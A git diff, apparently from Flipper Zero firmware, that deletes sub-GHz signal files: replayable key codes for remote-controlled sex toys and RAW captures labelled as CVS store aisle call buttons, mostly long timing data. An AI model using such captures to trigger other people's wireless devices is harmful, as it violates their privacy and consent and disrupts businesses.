-2002 -RAW_Data: 581 -1976 601 -2004 1579 -380 1613 -388 603 -1990 597 -1972 1573 -416 383 -386 413 -8420 5577 -5536 1605 -384 1601 -422 1569 -382 601 -1996 615 -1942 1607 -394 1623 -358 631 -1976 611 -1966 587 -1968 645 -1970 1571 -406 1613 -358 629 -1984 575 -1988 1595 -386 411 -388 409 -8414 5551 -5568 1595 -384 1611 -388 1609 -380 611 -1976 601 -1974 1597 -382 1601 -388 613 -1994 589 -1962 637 -1960 621 -1946 1607 -388 1593 -394 593 -2012 577 -1994 1583 -392 399 -394 401 -71822 297 -66 331 -234 131 -66 229 -68 -RAW_Data: 65 -1028 265 -958 65 -820 295 -200 1223 -100 65 -66 497 -132 5757 -8380 165 -1320 65 -662 565 -166 595 -134 299 365 -223 186 -209 156 -408 646 -514 616 -126 329 -605 127 -112 174 -512 618 -376 541 -417 107 -405 387 -409 669 -489 310 -144 591 -575 662 -346 394 -372 485 -181 233 -453 552 -650 486 -487 227 -388 578 -120 301 -640 354 -434 590 -305 537 -543 321 -293 219 -226 149 -608 265 -272 150 -417 526 -213 267 -691 645 -263 454 -529 689 -348 183 -354 164 -208 412 -531 400 -320 547 -442 413 -588 646 -601 -RAW_Data: 424 -258 282 -528 293 -284 499 -131 688 -248 609 -423 439 -329 339 -654 449 -500 327 -385 236 -655 233 -354 232 -278 635 -638 397 -603 311 -610 461 -336 553 -536 648 -128 618 -636 509 -130 265 -131 241 -442 379 -577 209 -314 160 -426 548 -132 658 -507 369 -259 398 -613 587 -625 334 -404 422 -270 680 -587 162 -307 534 -588 307 -297 482 -430 649 -295 397 -245 296 -655 403 -256 291 -632 349 -215 369 -599 315 -373 670 -571 488 -675 674 -464 683 -185 135 -496 140 -392 423 -458 343 -391 139 -210 306 -479 diff --git a/assets/resources/subghz/Misc/Sextoy/Sextoy1.sub b/assets/resources/subghz/Misc/Sextoy/Sextoy1.sub deleted file mode 100644 index c717f827f..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sextoy1.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -# Sextoy1 capture by StephS_escape -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 8B 02 02 -TE: 362 \ No newline at end of file diff --git a/assets/resources/subghz/Misc/Sextoy/Sextoy2.sub b/assets/resources/subghz/Misc/Sextoy/Sextoy2.sub deleted file mode 100644 index d192d2d75..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sextoy2.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -# Sextoy2 capture by StephS_escape -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 8B 02 05 -TE: 362 \ No newline at end of file diff --git a/assets/resources/subghz/Misc/Sextoy/Sextoy3.sub b/assets/resources/subghz/Misc/Sextoy/Sextoy3.sub deleted file mode 100644 index 2bc87019d..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sextoy3.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -# Sextoy3 capture by StephS_escape -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 8B 02 04 -TE: 362 \ No newline at end of file diff --git a/assets/resources/subghz/Misc/Sextoy/Sextoy4.sub b/assets/resources/subghz/Misc/Sextoy/Sextoy4.sub deleted file mode 100644 index ab66ee683..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sextoy4.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -# Sextoy4 capture by StephS_escape -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 8B 02 03 -TE: 362 \ No newline at end of file diff --git a/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/ReadMe.md b/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/ReadMe.md deleted file mode 100644 index 6d84e754d..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/ReadMe.md +++ /dev/null @@ -1,3 +0,0 @@ -## Sinful Bullet Vibrator - -https://www.sinful.fi/sinful-ladattava-power-bullet-vibraattori \ No newline at end of file diff --git a/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_level.sub b/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_level.sub deleted file mode 100644 index a02d53095..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_level.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok270Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 AA 55 02 -TE: 239 diff --git a/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_power.sub b/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_power.sub deleted file mode 100644 index f7d343600..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_power.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok270Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 AA 55 01 -TE: 240 diff --git a/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/ReadMe.md b/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/ReadMe.md deleted file mode 100644 index 05e36f9f6..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/ReadMe.md +++ /dev/null @@ -1,5 +0,0 @@ -# Sway Vibes No. 3 - -Vibrating panties with remote - -![Sway_Vibes_3](https://user-images.githubusercontent.com/57457139/194739791-ed1b4362-10e7-4d05-9aeb-2828ac6a7b68.jpg) diff --git a/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/Sway_vib_mode.sub b/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/Sway_vib_mode.sub deleted file mode 100644 index 03c7e3cf2..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/Sway_vib_mode.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 00 FF A5 -TE: 392 diff --git a/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/Sway_vib_on_off.sub b/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/Sway_vib_on_off.sub deleted file mode 100644 index a441afb9e..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/Sway_vib_on_off.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 00 FF 5A -TE: 391 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Eight.sub b/assets/resources/subghz/Stores/CVS/Aisle_Eight.sub deleted file mode 100644 index 035f7bc6c..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Eight.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 788 -748 1556 -1520 824 -740 1548 -740 1584 -744 1544 -740 1588 -744 1540 -744 1584 -744 1544 -740 1588 -740 1544 -744 1588 -736 1548 -744 1584 -744 1544 -740 1588 -736 1552 -740 1584 -744 1548 -740 1588 -736 1548 -744 1588 -1500 784 -740 1588 -1500 784 -744 1584 -1500 788 -740 1584 -1504 784 -740 1584 -1504 784 -1500 820 -1504 784 -1500 828 -1500 788 -736 1584 -1504 784 -740 1580 -4584 788 -748 1556 -1520 784 -744 1564 -1512 832 -740 1548 -740 1584 -736 1552 -740 1588 -740 1544 -744 1580 -740 1548 -740 1588 -740 1544 -736 1588 -740 1544 -744 1584 -740 1548 -736 1588 -744 1544 -740 1584 -740 1548 -740 1588 -740 1544 -740 1588 -1500 784 -740 1588 -1504 784 -736 1588 -1500 784 -740 1584 -1504 784 -740 1580 -1504 780 -1504 824 -1504 780 -1504 828 -1500 788 -736 1588 -1504 784 -736 1584 -4584 792 -744 1564 -1512 792 -748 1556 -1516 828 -740 1548 -740 1584 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -740 1580 -744 1548 -736 1588 -740 1548 -740 1588 -736 1548 -736 1588 -740 1548 -744 1584 -740 1544 -740 1584 -748 1548 -736 1588 -1504 784 -736 1588 -1504 784 -744 1584 -1500 788 -736 1588 -1500 784 -744 1584 -1500 784 -1500 820 -1504 788 -1504 828 -1500 788 -736 1588 -1504 784 -740 1580 -4584 792 -748 1556 -1512 792 -748 1556 -1516 828 -740 1548 -744 1584 -744 1548 -736 1588 -736 1548 -748 1580 -740 1548 -740 1588 -736 1548 -744 1584 -740 1548 -740 1588 -740 1544 -744 1588 -740 1544 -736 1588 -740 1552 -740 1584 -744 1544 -740 1592 -1504 780 -744 1584 -1504 784 -740 1588 -1500 784 -740 1588 -1504 784 -744 1576 -1504 780 -1504 824 -1504 784 -1504 824 -1504 784 -740 1588 -1504 784 -736 1580 -4592 784 -744 1564 -1512 792 -748 1552 -1520 824 -744 1548 -736 1588 -736 1548 -740 1584 -744 1544 -740 1588 -736 1548 -744 1584 -744 1544 -736 1588 -740 1548 -744 1584 -736 1552 -736 1584 -744 1552 -740 1588 -740 1544 -740 1584 -744 1548 -744 1588 -1504 780 -744 1584 -1504 784 -736 1588 -1504 784 -744 1584 -1508 784 -740 1580 -1508 780 -1500 824 -1504 784 -1504 832 -1504 784 -740 1584 -1504 784 -740 1588 -4584 792 -744 1560 -1512 792 -748 1560 -1512 832 -740 1548 -744 1584 -744 1544 -740 1588 -744 1544 -740 1584 -748 1544 -744 1584 -740 1548 -740 1584 -744 1544 -744 1584 -744 1544 -744 1580 -744 1548 -744 1584 -740 1552 -736 1588 -740 1552 -740 1588 -1504 784 -740 1588 -1504 780 -748 1584 -1504 784 -744 1584 -1504 784 -736 1584 -1504 784 -1508 816 -1508 780 -1508 824 -1508 776 -744 1588 -1504 784 -740 1576 -4592 784 -752 1556 -1520 788 -748 1556 -1516 -RAW_Data: 828 -736 1548 -744 1584 -744 1548 -740 1584 -744 1544 -740 1588 -740 1548 -744 1584 -744 1544 -744 1580 -744 1544 -744 1588 -740 1548 -744 1580 -744 1544 -748 1576 -744 1548 -744 1580 -744 1544 -744 1588 -1504 780 -748 1580 -1508 780 -748 1580 -1508 780 -744 1584 -1508 780 -744 1576 -1508 780 -1508 820 -1504 784 -1508 820 -1508 780 -744 1584 -1508 780 -748 1572 -4596 784 -752 1552 -1520 784 -752 1556 -1520 824 -748 1540 -752 1580 -744 1544 -748 1580 -744 1544 -744 1584 -748 1540 -744 1584 -744 1544 -748 1576 -748 1544 -744 1580 -748 1540 -752 1580 -744 1544 -748 1580 -744 1544 -748 1580 -748 1544 -744 1588 -1508 780 -744 1584 -1512 776 -748 1580 -1512 776 -748 1580 -1512 776 -748 1576 -1508 780 -1508 820 -1508 780 -1508 820 -1512 776 -748 1580 -1512 776 -748 1572 -4596 780 -756 1552 -1520 788 -752 1552 -1520 824 -752 1540 -748 1576 -752 1536 -752 1576 -752 1540 -748 1580 -748 1540 -748 1580 -748 1544 -744 1580 -748 1540 -752 1576 -752 1540 -748 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1540 -748 1584 -1512 776 -748 1580 -1512 776 -752 1576 -1512 776 -744 1580 -1508 780 -748 1572 -1516 776 -1512 812 -1512 776 -1512 820 -1508 780 -752 1576 -1512 776 -748 1572 -4592 788 -752 1552 -1520 788 -748 1552 -1524 820 -748 1544 -748 1580 -748 1544 -744 1580 -748 1540 -744 1580 -748 1540 -748 1580 -748 1540 -748 1580 -744 1540 -748 1580 -744 1544 -748 1580 -748 1540 -748 1580 -744 1544 -744 1580 -748 1540 -748 1584 -1508 776 -748 1584 -1508 776 -744 1584 -1508 776 -744 1584 -1512 776 -744 1580 -1508 776 -1508 820 -1508 780 -1508 820 -1512 776 -748 1576 -1512 776 -748 1552 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Eighteen.sub b/assets/resources/subghz/Stores/CVS/Aisle_Eighteen.sub deleted file mode 100644 index 6851c7da3..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Eighteen.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1556 -1524 780 -748 1552 -1516 832 -740 1548 -736 1588 -744 1540 -744 1584 -748 1540 -744 1580 -752 1540 -736 1588 -740 1544 -744 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1544 -744 1584 -744 1544 -744 1580 -748 1540 -748 1584 -1512 772 -748 1576 -1508 780 -1504 828 -1500 784 -748 1576 -1500 780 -1512 816 -1508 780 -1508 812 -1516 776 -1504 828 -1504 780 -748 1580 -1500 784 -744 1580 -4584 788 -752 1556 -1516 784 -752 1556 -1516 828 -740 1548 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -740 1552 -744 1580 -748 1540 -748 1576 -748 1544 -744 1584 -748 1536 -744 1588 -744 1544 -748 1576 -752 1536 -748 1580 -744 1540 -748 1588 -1500 784 -748 1576 -1512 776 -1504 828 -1508 780 -744 1576 -1504 784 -1508 816 -1508 780 -1508 820 -1504 780 -1512 820 -1508 780 -744 1580 -1512 776 -744 1580 -4588 792 -752 1548 -1524 784 -748 1560 -1524 820 -744 1544 -752 1576 -748 1544 -744 1580 -752 1540 -740 1584 -748 1540 -740 1588 -740 1548 -748 1580 -740 1548 -744 1580 -744 1544 -744 1584 -748 1540 -740 1584 -752 1536 -740 1584 -752 1540 -744 1584 -1512 776 -748 1576 -1504 784 -1508 824 -1504 784 -740 1584 -1504 784 -1504 820 -1504 784 -1512 816 -1512 776 -1508 824 -1504 784 -744 1584 -1504 784 -740 1580 -4588 788 -748 1560 -1516 788 -756 1552 -1516 828 -740 1548 -744 1580 -740 1552 -744 1580 -740 1548 -748 1580 -744 1544 -748 1584 -740 1548 -740 1588 -740 1548 -744 1584 -740 1544 -744 1584 -744 1544 -740 1588 -740 1548 -748 1580 -740 1548 -740 1592 -1504 780 -744 1580 -1504 776 -1512 824 -1504 784 -748 1572 -1504 784 -1504 824 -1504 780 -1508 820 -1512 776 -1500 828 -1516 772 -744 1584 -1508 780 -744 1580 -4588 792 -744 1556 -1524 784 -752 1556 -1520 824 -744 1548 -740 1584 -740 1552 -740 1588 -736 1548 -744 1584 -744 1544 -740 1588 -740 1544 -752 1580 -740 1544 -748 1584 -744 1544 -748 1580 -748 1544 -740 1588 -740 1548 -744 1584 -740 1548 -740 1592 -1508 780 -740 1584 -1504 784 -1504 824 -1504 784 -744 1580 -1504 784 -1508 816 -1504 788 -1504 824 -1500 788 -1504 824 -1504 784 -744 1584 -1504 784 -744 1576 -4596 788 -752 1552 -1524 784 -744 1560 -1516 828 -744 1544 -744 1584 -748 1540 -740 1588 -744 1548 -736 1588 -740 1548 -744 1584 -744 1544 -740 1584 -740 1548 -748 1580 -744 1548 -748 1580 -744 1552 -744 1580 -740 1552 -740 1584 -740 1548 -744 1588 -1508 784 -740 1584 -1504 788 -1500 828 -1508 788 -736 1576 -1508 788 -1508 824 -1504 776 -1504 824 -1508 776 -1516 816 -1508 780 -752 1576 -1516 780 -740 1580 -4584 796 -748 1556 -1516 784 -756 1552 -1520 -RAW_Data: 832 -740 1552 -740 1588 -740 1544 -740 1580 -748 1548 -740 1584 -748 1536 -748 1592 -736 1544 -740 1588 -744 1548 -736 1588 -736 1544 -752 1580 -744 1540 -744 1584 -752 1544 -736 1588 -748 1544 -740 1588 -1512 772 -752 1576 -1504 788 -1500 828 -1508 784 -740 1584 -1496 792 -1504 820 -1504 780 -1508 820 -1500 788 -1504 824 -1504 784 -748 1580 -1508 784 -736 1580 -4588 792 -748 1556 -1520 792 -748 1556 -1520 824 -744 1544 -744 1584 -740 1552 -744 1576 -748 1548 -744 1584 -736 1552 -740 1588 -744 1544 -744 1584 -744 1544 -748 1580 -740 1552 -740 1584 -748 1540 -744 1588 -744 1544 -744 1584 -740 1544 -744 1588 -1508 776 -748 1576 -1508 784 -1504 824 -1508 780 -748 1576 -1504 784 -1508 816 -1508 784 -1500 824 -1508 776 -1512 820 -1508 780 -748 1580 -1512 776 -748 1572 -4596 784 -756 1552 -1516 788 -752 1556 -1516 824 -748 1544 -744 1580 -748 1540 -744 1584 -748 1540 -744 1584 -748 1540 -744 1584 -744 1540 -752 1576 -748 1540 -748 1580 -748 1540 -752 1576 -752 1536 -752 1576 -748 1536 -752 1576 -752 1536 -752 1580 -1512 776 -748 1572 -1516 772 -1512 820 -1512 776 -752 1568 -1516 772 -1516 808 -1516 772 -1516 812 -1512 776 -1512 816 -1516 776 -752 1572 -1512 776 -752 1572 -4596 780 -760 1544 -1528 776 -764 1544 -1528 816 -756 1536 -752 1572 -756 1536 -756 1572 -752 1540 -748 1576 -752 1540 -752 1572 -756 1532 -752 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1536 -752 1576 -748 1540 -752 1572 -752 1540 -748 1580 -1516 772 -748 1568 -1516 772 -1516 820 -1516 772 -752 1568 -1512 776 -1512 816 -1512 776 -1512 812 -1516 776 -1508 820 -1512 776 -752 1576 -1516 772 -752 1548 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Eleven.sub b/assets/resources/subghz/Stores/CVS/Aisle_Eleven.sub deleted file mode 100644 index 2636f894c..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Eleven.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1556 -1516 784 -748 1556 -1516 828 -740 1544 -736 1588 -740 1552 -736 1584 -740 1548 -740 1588 -736 1552 -736 1588 -736 1548 -740 1584 -744 1544 -740 1588 -736 1548 -740 1588 -736 1548 -744 1580 -740 1548 -740 1588 -736 1552 -740 1584 -1504 780 -1504 824 -1500 784 -1500 828 -1504 784 -740 1584 -1504 784 -740 1580 -1504 780 -1500 824 -1504 784 -1504 824 -1504 780 -740 1584 -1508 780 -744 1576 -4588 784 -748 1556 -1512 792 -748 1556 -1512 828 -744 1548 -736 1588 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -736 1548 -740 1588 -736 1548 -740 1588 -744 1540 -744 1584 -744 1540 -744 1584 -744 1544 -740 1584 -740 1548 -736 1588 -1504 780 -1504 820 -1504 784 -1500 828 -1504 780 -740 1588 -1500 784 -744 1580 -1504 784 -1504 820 -1504 784 -1504 828 -1504 784 -736 1588 -1504 784 -736 1584 -4584 792 -744 1560 -1512 792 -744 1560 -1512 836 -736 1548 -744 1584 -744 1544 -740 1584 -744 1544 -744 1584 -744 1544 -744 1580 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1548 -736 1588 -740 1548 -740 1588 -740 1548 -740 1584 -1504 780 -1504 824 -1504 780 -1504 828 -1500 788 -736 1588 -1500 784 -740 1584 -1500 784 -1504 820 -1504 784 -1500 828 -1500 788 -740 1580 -1508 784 -740 1580 -4584 788 -748 1556 -1516 792 -744 1560 -1516 828 -740 1544 -740 1588 -744 1544 -740 1584 -744 1540 -748 1580 -744 1544 -744 1584 -740 1552 -736 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1544 -744 1584 -740 1544 -744 1584 -736 1552 -736 1588 -1500 784 -1504 824 -1504 784 -1504 824 -1504 780 -744 1584 -1504 784 -740 1580 -1504 780 -1504 824 -1504 784 -1500 828 -1504 784 -740 1584 -1500 788 -740 1580 -4588 792 -744 1560 -1512 792 -748 1560 -1508 832 -740 1548 -740 1588 -740 1544 -740 1584 -744 1548 -740 1584 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -744 1588 -740 1544 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -1504 784 -1504 820 -1508 784 -1504 824 -1504 784 -744 1580 -1504 784 -740 1584 -1504 784 -1508 816 -1508 780 -1504 828 -1504 780 -748 1580 -1508 780 -744 1580 -4588 788 -744 1564 -1512 792 -744 1560 -1516 828 -740 1552 -740 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1548 -736 1588 -740 1552 -736 1588 -740 1548 -740 1592 -736 1548 -740 1588 -740 1548 -740 1588 -744 1544 -744 1584 -740 1544 -744 1584 -1500 788 -1504 820 -1504 784 -1500 832 -1508 780 -740 1588 -1504 788 -736 1580 -1508 784 -1504 820 -1508 784 -1504 824 -1504 784 -740 1584 -1504 784 -744 1580 -4588 788 -748 1556 -1516 788 -748 1556 -1520 -RAW_Data: 828 -740 1544 -748 1580 -740 1548 -744 1584 -740 1548 -740 1584 -744 1544 -744 1588 -736 1548 -744 1584 -740 1552 -736 1588 -744 1548 -740 1584 -744 1544 -740 1584 -744 1544 -744 1584 -740 1548 -744 1584 -1500 784 -1508 820 -1504 784 -1500 828 -1508 780 -740 1588 -1504 784 -744 1576 -1508 776 -1512 816 -1508 784 -1504 828 -1504 784 -740 1584 -1504 784 -740 1580 -4588 788 -748 1560 -1512 784 -756 1556 -1516 828 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1584 -744 1544 -740 1588 -740 1548 -740 1588 -744 1544 -740 1584 -740 1548 -740 1588 -744 1544 -744 1580 -744 1548 -736 1592 -736 1552 -736 1584 -1508 780 -1508 824 -1500 788 -1504 824 -1504 784 -740 1588 -1504 780 -744 1580 -1500 788 -1500 824 -1504 784 -1504 824 -1508 780 -740 1588 -1504 780 -744 1584 -4584 792 -740 1560 -1516 788 -748 1560 -1516 828 -740 1548 -740 1584 -744 1548 -744 1584 -736 1548 -740 1588 -740 1548 -740 1588 -732 1552 -740 1592 -732 1552 -740 1588 -740 1548 -740 1588 -744 1544 -740 1584 -748 1544 -740 1588 -740 1548 -744 1584 -1504 780 -1504 824 -1504 784 -1504 824 -1504 784 -740 1588 -1504 784 -740 1580 -1504 788 -1504 820 -1504 784 -1500 832 -1504 784 -744 1584 -1504 784 -740 1580 -4588 788 -748 1560 -1516 788 -744 1560 -1520 828 -740 1548 -740 1588 -740 1548 -736 1592 -736 1552 -740 1588 -740 1548 -744 1584 -744 1544 -740 1588 -744 1548 -740 1588 -740 1548 -744 1584 -744 1544 -744 1584 -744 1544 -744 1584 -744 1544 -740 1588 -1508 780 -1508 820 -1504 784 -1504 824 -1504 784 -740 1588 -1504 784 -744 1580 -1504 788 -1496 824 -1504 784 -1508 824 -1504 784 -740 1588 -1504 776 -748 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Fifteen.sub b/assets/resources/subghz/Stores/CVS/Aisle_Fifteen.sub deleted file mode 100644 index d771c698d..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Fifteen.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 792 -744 1560 -1516 824 -744 1544 -744 1580 -740 1548 -736 1592 -736 1552 -736 1588 -740 1544 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -736 1588 -740 1552 -736 1588 -740 1544 -744 1580 -740 1548 -740 1588 -1500 784 -1500 824 -1500 788 -1500 824 -1504 784 -1500 828 -1504 784 -744 1576 -1504 784 -1504 824 -1500 788 -1500 828 -1496 788 -1500 824 -1496 788 -1504 820 -4588 792 -740 1564 -1516 788 -748 1556 -1516 828 -740 1548 -740 1588 -736 1552 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1552 -736 1584 -744 1544 -740 1588 -736 1552 -740 1588 -740 1552 -736 1588 -740 1544 -740 1592 -740 1544 -740 1584 -1504 784 -1500 824 -1504 780 -1504 824 -1504 784 -1496 832 -1500 788 -736 1584 -1500 784 -1504 824 -1500 780 -1508 820 -1504 784 -1504 824 -1500 788 -1496 824 -4588 788 -748 1560 -1516 788 -744 1560 -1516 828 -740 1548 -740 1592 -736 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -740 1552 -732 1592 -736 1548 -744 1584 -740 1548 -740 1588 -1504 780 -1504 824 -1500 788 -1504 820 -1508 780 -1500 832 -1504 784 -736 1584 -1500 788 -1504 824 -1504 784 -1500 824 -1508 780 -1504 824 -1504 784 -1500 824 -4588 788 -752 1556 -1516 788 -748 1560 -1512 832 -744 1544 -740 1588 -740 1548 -740 1584 -744 1544 -740 1588 -740 1552 -736 1588 -744 1540 -744 1588 -736 1552 -740 1588 -740 1548 -740 1584 -748 1544 -740 1588 -740 1552 -740 1584 -744 1544 -744 1584 -1504 788 -1496 828 -1500 788 -1500 824 -1508 780 -1504 828 -1508 780 -740 1584 -1500 788 -1500 824 -1504 784 -1504 824 -1500 788 -1500 828 -1500 788 -1496 828 -4584 792 -744 1560 -1520 784 -748 1560 -1512 836 -740 1548 -740 1588 -740 1548 -740 1588 -736 1556 -736 1588 -744 1544 -740 1588 -740 1552 -740 1588 -740 1544 -744 1584 -740 1552 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -744 1544 -740 1592 -1500 784 -1504 824 -1504 784 -1508 820 -1504 780 -1508 828 -1508 780 -740 1584 -1504 784 -1504 824 -1504 780 -1504 828 -1500 788 -1500 824 -1504 784 -1504 824 -4588 792 -748 1560 -1512 792 -748 1560 -1512 832 -740 1552 -740 1588 -736 1552 -740 1588 -744 1544 -740 1592 -736 1548 -744 1584 -740 1548 -744 1580 -744 1552 -736 1588 -744 1544 -744 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -740 1580 -1504 788 -1500 828 -1500 788 -1504 820 -1500 792 -1500 832 -1500 784 -740 1584 -1500 788 -1504 820 -1504 788 -1500 824 -1504 784 -1500 828 -1500 788 -1504 820 -4588 792 -740 1564 -1516 792 -748 1556 -1520 -RAW_Data: 828 -736 1552 -740 1588 -744 1548 -736 1596 -740 1544 -744 1588 -736 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1584 -744 1552 -740 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1556 -736 1584 -1504 788 -1500 824 -1508 780 -1504 824 -1500 784 -1508 828 -1504 784 -740 1580 -1504 788 -1496 824 -1512 780 -1504 824 -1504 784 -1508 820 -1504 788 -1500 824 -4584 792 -748 1560 -1516 792 -744 1560 -1520 828 -744 1544 -740 1588 -736 1552 -740 1588 -740 1548 -744 1588 -736 1548 -740 1588 -740 1548 -740 1592 -740 1544 -740 1588 -744 1544 -740 1592 -740 1544 -740 1588 -744 1544 -740 1588 -740 1552 -736 1588 -1500 788 -1500 824 -1508 784 -1500 824 -1504 784 -1500 828 -1504 788 -736 1584 -1504 788 -1500 824 -1504 788 -1496 828 -1508 784 -1500 824 -1504 784 -1504 824 -4588 792 -744 1556 -1516 792 -748 1560 -1512 828 -740 1552 -740 1584 -740 1552 -736 1592 -740 1544 -740 1588 -736 1552 -740 1584 -744 1544 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -744 1548 -736 1588 -740 1548 -740 1588 -740 1544 -744 1584 -1500 788 -1500 824 -1504 784 -1500 824 -1500 788 -1500 828 -1504 788 -740 1584 -1500 784 -1504 824 -1504 788 -1500 820 -1504 788 -1500 828 -1500 784 -1500 824 -4588 792 -748 1560 -1516 788 -748 1560 -1516 828 -740 1552 -736 1588 -744 1544 -744 1584 -740 1548 -740 1596 -740 1548 -740 1584 -740 1548 -744 1580 -744 1544 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1592 -740 1548 -736 1588 -1504 784 -1504 824 -1500 788 -1504 820 -1508 780 -1508 824 -1504 784 -740 1580 -1504 788 -1504 820 -1508 784 -1504 820 -1504 784 -1504 824 -1504 784 -1504 804 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Five.sub b/assets/resources/subghz/Stores/CVS/Aisle_Five.sub deleted file mode 100644 index c3053bc31..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Five.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1552 -1516 792 -740 1564 -1512 828 -740 1548 -740 1584 -740 1548 -740 1584 -740 1544 -748 1584 -736 1548 -740 1584 -744 1548 -736 1588 -744 1544 -736 1588 -740 1544 -744 1588 -732 1552 -744 1580 -744 1548 -736 1588 -744 1540 -740 1584 -1508 780 -1504 828 -1500 788 -736 1584 -1504 784 -1504 824 -1504 780 -1504 828 -1504 780 -744 1584 -1500 784 -740 1584 -1500 784 -1504 824 -1500 784 